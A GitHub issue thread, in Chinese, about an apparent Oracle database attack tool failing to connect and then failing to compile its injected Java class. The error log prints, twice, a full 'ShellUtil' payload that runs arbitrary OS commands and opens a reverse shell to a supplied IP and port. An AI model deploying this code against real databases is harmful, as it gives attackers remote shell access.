Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

orcale 连接错误 #49

Open
Tukali opened this issue Jul 1, 2022 · 5 comments
Open

orcale 连接错误 #49

Tukali opened this issue Jul 1, 2022 · 5 comments
Labels
question Further information is requested

Comments

@Tukali
Copy link

Tukali commented Jul 1, 2022

使用navicat 可以正常连接,但是这个就报错,想问下该怎么办呢
CleanShot 2022-07-01 at 12 34 07@2x

@Tukali Tukali added the question Further information is requested label Jul 1, 2022
@Ch1ngg
Copy link
Contributor

Ch1ngg commented Jul 1, 2022 via email

@Tukali
Copy link
Author

Tukali commented Jul 5, 2022

师傅不好意思,才看到,我换了jdk8之后好像就能正确连接了,之前是jdk11,谢谢师傅

@Tukali Tukali closed this as completed Jul 5, 2022
@Tukali
Copy link
Author

Tukali commented Jul 5, 2022

师傅,成功连接了,但是初始化命令执行的时候,成功但出现编译错误,具体报错如下:

java.sql.SQLException: ORA-24344: 成功, 但出现编译错误
ORA-06512: 在 line 128

at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:509)
at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:461)
at oracle.jdbc.driver.T4C8Oall.processError(T4C8Oall.java:1104)
at oracle.jdbc.driver.T4CTTIfun.receive(T4CTTIfun.java:550)
at oracle.jdbc.driver.T4CTTIfun.doRPC(T4CTTIfun.java:268)
at oracle.jdbc.driver.T4C8Oall.doOALL(T4C8Oall.java:655)
at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:229)
at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:41)
at oracle.jdbc.driver.T4CStatement.executeForRows(T4CStatement.java:928)
at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1205)
at oracle.jdbc.driver.OracleStatement.executeInternal(OracleStatement.java:1823)
at oracle.jdbc.driver.OracleStatement.execute(OracleStatement.java:1778)
at oracle.jdbc.driver.OracleStatementWrapper.execute(OracleStatementWrapper.java:303)
at Dao.OracleDao.executeSql(OracleDao.java:113)
at Dao.OracleDao.importShellUtilJAVA(OracleDao.java:303)
at Controller.OracleController.lambda$CreateShellUtil$12(OracleController.java:496)
at java.lang.Thread.run(Thread.java:750)

Caused by: Error : 24344, Position : 0, Sql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*;
import java.net.Socket;
import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{
public static String run(String methodName, String params, String encoding) {
String res = "";
if (methodName.equals("exec")) {
res = ShellUtil.exec(params, encoding);
}else if (methodName.equals("connectback")) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
res = ShellUtil.connectBack(ip, Integer.parseInt(port));
}else {
res = "unkown methodName";
}
return res;
}

public static String exec(String command, String encoding) {
    StringBuffer result = new StringBuffer();
    try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
            String systemRootvariable;
            try {
                systemRootvariable = System.getenv("SystemRoot");
            }
            catch (ClassCastException e) {
                systemRootvariable = System.getProperty("SystemRoot");
            }
            finalCommand = new String[3];
            finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
            finalCommand[1] = "/c";
            finalCommand[2] = command;
        } else { // Linux or Unix System
            finalCommand = new String[3];
            finalCommand[0] = "/bin/sh";
            finalCommand[1] = "-c";
            finalCommand[2] = command;
        }
        BufferedReader readerIn = null;
        BufferedReader readerError = null;
        try {
            readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
            String stemp = "";
            while ((stemp = readerIn.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerIn != null) {
                readerIn.close();
            }
        }
        try {
            readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
            String stemp = "";
            while ((stemp = readerError.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerError != null) {
                readerError.close();
            }
        }
    } catch (Exception e) {
        result.append(e.toString());
    }
    return result.toString();
}

public static String connectBack(String ip, int port) {
    class StreamConnector extends Thread {
        InputStream sp;
        OutputStream gh;

        StreamConnector(InputStream sp, OutputStream gh) {
            this.sp = sp;
            this.gh = gh;
        }
        @Override
        public void run() {
            BufferedReader xp = null;
            BufferedWriter ydg = null;
            try {
                xp = new BufferedReader(new InputStreamReader(this.sp));
                ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                char buffer[] = new char[1024];
                int length;
                while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                    ydg.write(buffer, 0, length);
                    ydg.flush();
                }
            } catch (Exception e) {}
            try {
                if (xp != null) {
                    xp.close();
                }
                if (ydg != null) {
                    ydg.close();
                }
            } catch (Exception e) {
            }
        }
    }
    try {
        String sp;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
            sp = new String("/bin/sh");
        } else {
            sp = new String("cmd.exe");
        }
        Socket sk = new Socket(ip, port);
        Process ps = Runtime.getRuntime().exec(sp);
        (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
        (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
    } catch (Exception e) {
    }
    return "^OK^";
}

}
';EXECUTE IMMEDIATE v_command;END;, OriginalSql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*;
import java.net.Socket;
import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{
public static String run(String methodName, String params, String encoding) {
String res = "";
if (methodName.equals("exec")) {
res = ShellUtil.exec(params, encoding);
}else if (methodName.equals("connectback")) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
res = ShellUtil.connectBack(ip, Integer.parseInt(port));
}else {
res = "unkown methodName";
}
return res;
}

public static String exec(String command, String encoding) {
    StringBuffer result = new StringBuffer();
    try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
            String systemRootvariable;
            try {
                systemRootvariable = System.getenv("SystemRoot");
            }
            catch (ClassCastException e) {
                systemRootvariable = System.getProperty("SystemRoot");
            }
            finalCommand = new String[3];
            finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
            finalCommand[1] = "/c";
            finalCommand[2] = command;
        } else { // Linux or Unix System
            finalCommand = new String[3];
            finalCommand[0] = "/bin/sh";
            finalCommand[1] = "-c";
            finalCommand[2] = command;
        }
        BufferedReader readerIn = null;
        BufferedReader readerError = null;
        try {
            readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
            String stemp = "";
            while ((stemp = readerIn.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerIn != null) {
                readerIn.close();
            }
        }
        try {
            readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
            String stemp = "";
            while ((stemp = readerError.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerError != null) {
                readerError.close();
            }
        }
    } catch (Exception e) {
        result.append(e.toString());
    }
    return result.toString();
}

public static String connectBack(String ip, int port) {
    class StreamConnector extends Thread {
        InputStream sp;
        OutputStream gh;

        StreamConnector(InputStream sp, OutputStream gh) {
            this.sp = sp;
            this.gh = gh;
        }
        @Override
        public void run() {
            BufferedReader xp = null;
            BufferedWriter ydg = null;
            try {
                xp = new BufferedReader(new InputStreamReader(this.sp));
                ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                char buffer[] = new char[1024];
                int length;
                while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                    ydg.write(buffer, 0, length);
                    ydg.flush();
                }
            } catch (Exception e) {}
            try {
                if (xp != null) {
                    xp.close();
                }
                if (ydg != null) {
                    ydg.close();
                }
            } catch (Exception e) {
            }
        }
    }
    try {
        String sp;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
            sp = new String("/bin/sh");
        } else {
            sp = new String("cmd.exe");
        }
        Socket sk = new Socket(ip, port);
        Process ps = Runtime.getRuntime().exec(sp);
        (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
        (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
    } catch (Exception e) {
    }
    return "^OK^";
}

}
';EXECUTE IMMEDIATE v_command;END;, Error Msg = ORA-24344: 成功, 但出现编译错误
ORA-06512: 在 line 128

at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:513)
... 16 more

@Tukali Tukali reopened this Jul 5, 2022
@Ch1ngg
Copy link
Contributor

Ch1ngg commented Jul 5, 2022

师傅,成功连接了,但是初始化命令执行的时候,成功但出现编译错误,具体报错如下:

java.sql.SQLException: ORA-24344: 成功, 但出现编译错误 ORA-06512: 在 line 128

at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:509)
at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:461)
at oracle.jdbc.driver.T4C8Oall.processError(T4C8Oall.java:1104)
at oracle.jdbc.driver.T4CTTIfun.receive(T4CTTIfun.java:550)
at oracle.jdbc.driver.T4CTTIfun.doRPC(T4CTTIfun.java:268)
at oracle.jdbc.driver.T4C8Oall.doOALL(T4C8Oall.java:655)
at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:229)
at oracle.jdbc.driver.T4CStatement.doOall8(T4CStatement.java:41)
at oracle.jdbc.driver.T4CStatement.executeForRows(T4CStatement.java:928)
at oracle.jdbc.driver.OracleStatement.doExecuteWithTimeout(OracleStatement.java:1205)
at oracle.jdbc.driver.OracleStatement.executeInternal(OracleStatement.java:1823)
at oracle.jdbc.driver.OracleStatement.execute(OracleStatement.java:1778)
at oracle.jdbc.driver.OracleStatementWrapper.execute(OracleStatementWrapper.java:303)
at Dao.OracleDao.executeSql(OracleDao.java:113)
at Dao.OracleDao.importShellUtilJAVA(OracleDao.java:303)
at Controller.OracleController.lambda$CreateShellUtil$12(OracleController.java:496)
at java.lang.Thread.run(Thread.java:750)

Caused by: Error : 24344, Position : 0, Sql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*; import java.net.Socket; import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; }

public static String exec(String command, String encoding) {
    StringBuffer result = new StringBuffer();
    try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
            String systemRootvariable;
            try {
                systemRootvariable = System.getenv("SystemRoot");
            }
            catch (ClassCastException e) {
                systemRootvariable = System.getProperty("SystemRoot");
            }
            finalCommand = new String[3];
            finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
            finalCommand[1] = "/c";
            finalCommand[2] = command;
        } else { // Linux or Unix System
            finalCommand = new String[3];
            finalCommand[0] = "/bin/sh";
            finalCommand[1] = "-c";
            finalCommand[2] = command;
        }
        BufferedReader readerIn = null;
        BufferedReader readerError = null;
        try {
            readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
            String stemp = "";
            while ((stemp = readerIn.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerIn != null) {
                readerIn.close();
            }
        }
        try {
            readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
            String stemp = "";
            while ((stemp = readerError.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerError != null) {
                readerError.close();
            }
        }
    } catch (Exception e) {
        result.append(e.toString());
    }
    return result.toString();
}

public static String connectBack(String ip, int port) {
    class StreamConnector extends Thread {
        InputStream sp;
        OutputStream gh;

        StreamConnector(InputStream sp, OutputStream gh) {
            this.sp = sp;
            this.gh = gh;
        }
        @Override
        public void run() {
            BufferedReader xp = null;
            BufferedWriter ydg = null;
            try {
                xp = new BufferedReader(new InputStreamReader(this.sp));
                ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                char buffer[] = new char[1024];
                int length;
                while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                    ydg.write(buffer, 0, length);
                    ydg.flush();
                }
            } catch (Exception e) {}
            try {
                if (xp != null) {
                    xp.close();
                }
                if (ydg != null) {
                    ydg.close();
                }
            } catch (Exception e) {
            }
        }
    }
    try {
        String sp;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
            sp = new String("/bin/sh");
        } else {
            sp = new String("cmd.exe");
        }
        Socket sk = new Socket(ip, port);
        Process ps = Runtime.getRuntime().exec(sp);
        (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
        (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
    } catch (Exception e) {
    }
    return "^OK^";
}

} ';EXECUTE IMMEDIATE v_command;END;, OriginalSql = DECLARE v_command VARCHAR2(32767);BEGIN v_command :='create or replace and compile java source named "ShellUtil" as import java.io.*; import java.net.Socket; import java.util.concurrent.RecursiveTask;

public class ShellUtil extends Object{ public static String run(String methodName, String params, String encoding) { String res = ""; if (methodName.equals("exec")) { res = ShellUtil.exec(params, encoding); }else if (methodName.equals("connectback")) { String ip = params.substring(0, params.indexOf("^")); String port = params.substring(params.indexOf("^") + 1); res = ShellUtil.connectBack(ip, Integer.parseInt(port)); }else { res = "unkown methodName"; } return res; }

public static String exec(String command, String encoding) {
    StringBuffer result = new StringBuffer();
    try {
        String[] finalCommand;
        if (System.getProperty("os.name").toLowerCase().contains("windows")) {
            String systemRootvariable;
            try {
                systemRootvariable = System.getenv("SystemRoot");
            }
            catch (ClassCastException e) {
                systemRootvariable = System.getProperty("SystemRoot");
            }
            finalCommand = new String[3];
            finalCommand[0] = systemRootvariable+"\\system32\\cmd.exe";
            finalCommand[1] = "/c";
            finalCommand[2] = command;
        } else { // Linux or Unix System
            finalCommand = new String[3];
            finalCommand[0] = "/bin/sh";
            finalCommand[1] = "-c";
            finalCommand[2] = command;
        }
        BufferedReader readerIn = null;
        BufferedReader readerError = null;
        try {
            readerIn = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getInputStream(),encoding));
            String stemp = "";
            while ((stemp = readerIn.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerIn != null) {
                readerIn.close();
            }
        }
        try {
            readerError = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(finalCommand).getErrorStream(), encoding));
            String stemp = "";
            while ((stemp = readerError.readLine()) != null){
                result.append(stemp).append("\n");
            }
        }catch (Exception e){
            result.append(e.toString());
        }finally {
            if (readerError != null) {
                readerError.close();
            }
        }
    } catch (Exception e) {
        result.append(e.toString());
    }
    return result.toString();
}

public static String connectBack(String ip, int port) {
    class StreamConnector extends Thread {
        InputStream sp;
        OutputStream gh;

        StreamConnector(InputStream sp, OutputStream gh) {
            this.sp = sp;
            this.gh = gh;
        }
        @Override
        public void run() {
            BufferedReader xp = null;
            BufferedWriter ydg = null;
            try {
                xp = new BufferedReader(new InputStreamReader(this.sp));
                ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
                char buffer[] = new char[1024];
                int length;
                while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
                    ydg.write(buffer, 0, length);
                    ydg.flush();
                }
            } catch (Exception e) {}
            try {
                if (xp != null) {
                    xp.close();
                }
                if (ydg != null) {
                    ydg.close();
                }
            } catch (Exception e) {
            }
        }
    }
    try {
        String sp;
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
            sp = new String("/bin/sh");
        } else {
            sp = new String("cmd.exe");
        }
        Socket sk = new Socket(ip, port);
        Process ps = Runtime.getRuntime().exec(sp);
        (new StreamConnector(ps.getInputStream(), sk.getOutputStream())).start();
        (new StreamConnector(sk.getInputStream(), ps.getOutputStream())).start();
    } catch (Exception e) {
    }
    return "^OK^";
}

} ';EXECUTE IMMEDIATE v_command;END;, Error Msg = ORA-24344: 成功, 但出现编译错误 ORA-06512: 在 line 128

at oracle.jdbc.driver.T4CTTIoer11.processError(T4CTTIoer11.java:513)
... 16 more

这个应该是我提供的 JAVA Util 有错误,你排查一下,看看是哪里错误

@GG-o1
Copy link

GG-o1 commented Aug 6, 2022

+1

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
question Further information is requested
Projects
None yet
Development

No branches or pull requests

3 participants